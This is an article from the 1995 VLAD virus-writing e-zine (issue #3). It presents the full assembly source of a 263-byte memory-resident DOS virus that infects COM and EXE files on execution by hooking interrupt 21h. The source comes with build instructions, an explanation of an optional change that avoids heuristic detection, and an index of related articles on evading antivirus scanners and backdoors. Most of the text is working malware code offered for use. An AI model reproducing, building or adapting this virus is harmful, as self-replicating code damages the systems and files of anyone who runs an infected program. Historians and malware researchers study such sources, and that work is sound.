Virus Labs & Distribution
VLAD #3 - Small Virus


The Smallest Virus I Could Manage

In Nuke InfoJournal #5 I foolishly boasted about a 387-byte TSR COM/EXE
parasitic infector I'd written.. well the days of semi-lameness are gone
(that was almost 2 years ago now) and I've come up with the goods.

This is the smallest virus I could figure out at this point in time.
In all respects it's a fully viable spreader in the wild, although it
does have serious 'security' problems - it doesn't trap i24 (critical
error handler), clean registers before returning control to the host, or
even use i21 functions by chaining on to the old vector (it calls i21
with an INT instruction).  I have no pretences in that I fully don't
expect to see this in the wild, since it was only written for
investigative pleasure anyway, to see how small a virus could be
written.

There was another version of this virus which I gave out to a few people
on #virus, which had a slight bug (rather, hasty oversight) in it, where
I changed a bit of code and didn't change a corresponding line a few
lines later.. which results in the i21 vector being partially
overwritten and thus the machine will crash (bad side effect!), which
was 291 bytes.  The difference between this virus and the 'old' one is
that this one doesn't change the target EXE file's stack, simply leaving
it and negating the need to carry the extra 4 bytes around with the
virus, as well as cutting code size.  Also, the 'old' one didn't trigger
any heuristic flags whereas this one does.  (see below)

This virus is a memory-resident parasitic infector of COM and EXE files
on execution, 263 bytes.  It doesn't reinfect memory OR files.

The older revision (sm2.asm, and the bug-fix, sm2b.asm) avoided all
heuristic flags (except maybe suspicious stack); it inserted the delta
offset straight into the first instruction of the virus, instead of
doing the usual 'call $+3/pop si/sub si,3'.  However this just took up
too much code and besides, it's going to get caught anyway, so why
bother.  So in this version it was removed, but the lines are only
commented out.  If, for some reason, you want to re-enable the old
system, uncomment the appropriate lines and delete the lines with only a
semicolon after them (ie not the ones with actual comments!).  Enabling
this will bring the virus size up to all of 268 bytes.

In its current form I think it's as optimized as I can make it.  Apart
from the odd 1-byte improvement, any difference would require a change
in viral architecture.  Some hardcore processorhead would have to do it,
perhaps they'd get a virus of 260 bytes.. but below that, I'm sure it'd
have to be deficient or unreliable in some respect (as far as I can
rationally extrapolate, judging how limited this virus is in avoiding
detection).  I'm certainly not saying that a smaller virus cannot be
written, however, because it's probably possible.  If I could see how,
though, I'd do it! :)  Making this smaller would require the removal of
'safety' checks (eg bailing if the file can't be opened, bailing if the
file is less than 24 bytes, etc).  However I consider these checks to be
part of a viable virus, so I left them in.

There isn't a great deal of commenting on this virus.  A few of the
techniques just aren't applicable to viruses of the normal kind, so
there's no real point.  To gain anything much out of examining this
source you more or less have to have a good idea of what's going on
anyway.

Greets on this one go out to Dark Angel (you know why) :> ..

        - TLN  01/95


;---------------------------------------------------------------------------
;
; Smallest Virus I Could Manage - 263 bytes
;
; by TLN
;
; compile with a86, rename the .bin to a .com and it's ready to roll..
;

org 0
@marker equ 19h

v_start:        ; mov si, 0100h
                call $+3        ;
                pop si          ;
                sub si, 3       ;

                push ds
                xor ax, ax              ; this virus resides at the end
                mov es, ax              ; of the interrupt table & then some
                mov di, 200h
                push di
                cld
                scasw                   ; is the space clear?
                pop di
                jne v_exit

                push si
                mov cx, v_len
             db 02eh                    ; make CS source of movsb
                rep movsb               ; copy the virus to memory
                mov si, 21h*4           ; & save old i21 vector
                push si
             db 26h                     ; make ES source of movsw
                movsw
             db 26h
                movsw
                pop di
                mov ax, offset new21 + 200h
                stosw
                xchg ax, cx
                stosw                   ; capture int 21h
                pop si
v_exit:         pop es
                add si, offset old_shit
                pop ax
                or sp, sp               ; COM or EXE determination
                push ax
                push cs
                pop ds
                jnz exit_exe

exit_com:       mov di, 100h            ; return to COM host
                push di
                movsw
                movsw
                ret
exit_exe:       mov ax, es              ; return to EXE host
                add ax, 10h
                add word ptr [si+2], ax
                jmp dword ptr [si]

old_shit:       int 20h
             dw 0

new21:          cmp ax, 4b00h           ; infect on execute
                je infect
                jmp exit21

infect:         push ax
                push bx
                push cx
                push dx
                push si
                push di
                push ds
                push es

                mov ax, 3d02h           ; open the file
                int 21h
                jc bitch

                push cs
                pop ds
                push cs
                pop es

                xchg ax, bx
                mov ah, 3fh
                mov cx, 24
                mov dx, offset signature+200h
                int 21h                ; read header
                xor cx, ax
                jnz bitch1

                mov si, dx
                push ax
                mov al, @marker
                cmp byte ptr [si+3], al ; is the infection marker present? 
                                        ;(com)
                je bitch2
                cmp byte ptr [si+12h], al       ; (exe)
                je bitch2

                mov ax, 4202h           ; seek to EOF  dx:ax -> file len
                cwd
                int 21h                 ; cx is already zero
                push ax

                mov di, offset old_shit+200h
                cmp byte ptr [si], 'M'
                je infect_exe
infect_com:     push si
                movsw                   ; save first 4 of COM
                movsw
                pop di
                mov al, 0e9
                stosb
                pop ax
;                inc ah
;                mov word ptr [v_start+201h], ax
;                sub ax, 103h
                dec ax          ;
                dec ax          ;
                dec ax          ;
                stosw
                mov byte ptr [di], @marker      ; mark infection

write_us:       mov ah, 40h
                mov cx, v_len
                mov dx, 200h
                int 21h

write_hdr:      mov ax, 4200h
                cwd
                xor cx, cx
                int 21h

                pop cx
                mov ah, 40h
                mov dx, offset signature+200h
                int 21h

                push ax                 ; ambiguous instruction

bitch2:         pop ax
bitch1:         mov ah, 3eh
                int 21h
bitch:          pop es
                pop ds
                pop di
                pop si
                pop dx
                pop cx
                pop bx
                pop ax
exit21:         jmp dword ptr cs:[old21+200h]

infect_exe:     push dx
                push si
                mov si, offset [exe_ip+200h]
                movsw                   ; save IP, CS
                movsw
                add ax, v_len           ; calculate part_page, page_cnt
                adc dx, 0               ; of infected file
                mov cx, 200h
                div cx
                pop di
                scasw
                scasw
                std                     ; a novel approach..
                or dx, dx
                jz noinc
                inc ax
noinc:          stosw                   ; store the new values..
                xchg ax, dx
                stosw

                pop dx
                pop ax
                mov cx, 10h             ; calculate # of paragraphs
                div cx                  ; in the uninfected file
                sub ax, word ptr [hdr_size+200h]

                mov di, offset relo_cs+200h
                stosw                   ; & set new IP, CS (entry pt)
                xchg ax, dx
                stosw
;                mov word ptr [v_start+201h], ax
                mov ax, @marker
                stosw
                jmp short write_us


v_end:
old21   equ     v_end + 0
signature       equ old21 + 4           ; where we load the host files header
part_page       equ signature + 2       ; part-page at EOF
page_cnt        equ part_page + 2       ; count of code pages
hdr_size        equ page_cnt + 4        ; size of header in paragraphs
minmem          equ hdr_size + 2        ; minimum memory required
maxmem          equ minmem + 2          ; maximum memory required
relo_ss         equ maxmem + 2          ; displacement of stack segment (SS)
exe_sp          equ relo_ss + 2         ; stack pointer (SP)
chksum          equ exe_sp + 2          ; -> infection marker
exe_ip          equ chksum + 2          ; instruction pointer (IP)
relo_cs         equ exe_ip + 2          ; displacement of code segment (CS)
                                        ; 24 bytes for EXE header information

v_len equ v_end - v_start

;
;-------the-end-------------------------------------------------------------



- VLAD #3 INDEX -

ARTICLE.1_1      

Introduction
ARTICLE.1_2       Aims and Policies
ARTICLE.1_3       Greets
ARTICLE.1_4       Members/Joining
ARTICLE.1_5       Dist/Contact Info
ARTICLE.1_6       Hidden Area Info
ARTICLE.1_7       Coding the Mag

ARTICLE.2_1      

The Press
ARTICLE.2_2       Fooling TBScan
ARTICLE.2_3       Backdoors
ARTICLE.2_4       Tracing Int21
ARTICLE.2_5       Replication
ARTICLE.2_6       VSUM denial
ARTICLE.2_7       Proview

ARTICLE.3_1      

TBTSR Checking
ARTICLE.3_2       TBScan Flags
ARTICLE.3_3       HD Port Reading
ARTICLE.3_4       HD Port Writing
ARTICLE.3_5       TBAV Monitor
ARTICLE.3_6       Micro128 Disasm
ARTICLE.3_7       Aust403 Disasm

ARTICLE.4_1      

Virus Descriptions
ARTICLE.4_2       Hemlock
ARTICLE.4_3       Antipode
ARTICLE.4_4       Insert
ARTICLE.4_5       VLAD-DIR
ARTICLE.4_6       Quantum Magick
ARTICLE.4_7       Mon Ami La Pendule

ARTICLE.5_1      

Monkeys
ARTICLE.5_2       Small Virus
ARTICLE.5_3       Catch-22
ARTICLE.5_4       ART Engine
ARTICLE.5_5       Megastealth
ARTICLE.5_6       Virus Scripts
ARTICLE.5_7       What's Next ?

About VLAD - Links - Contact Us - Main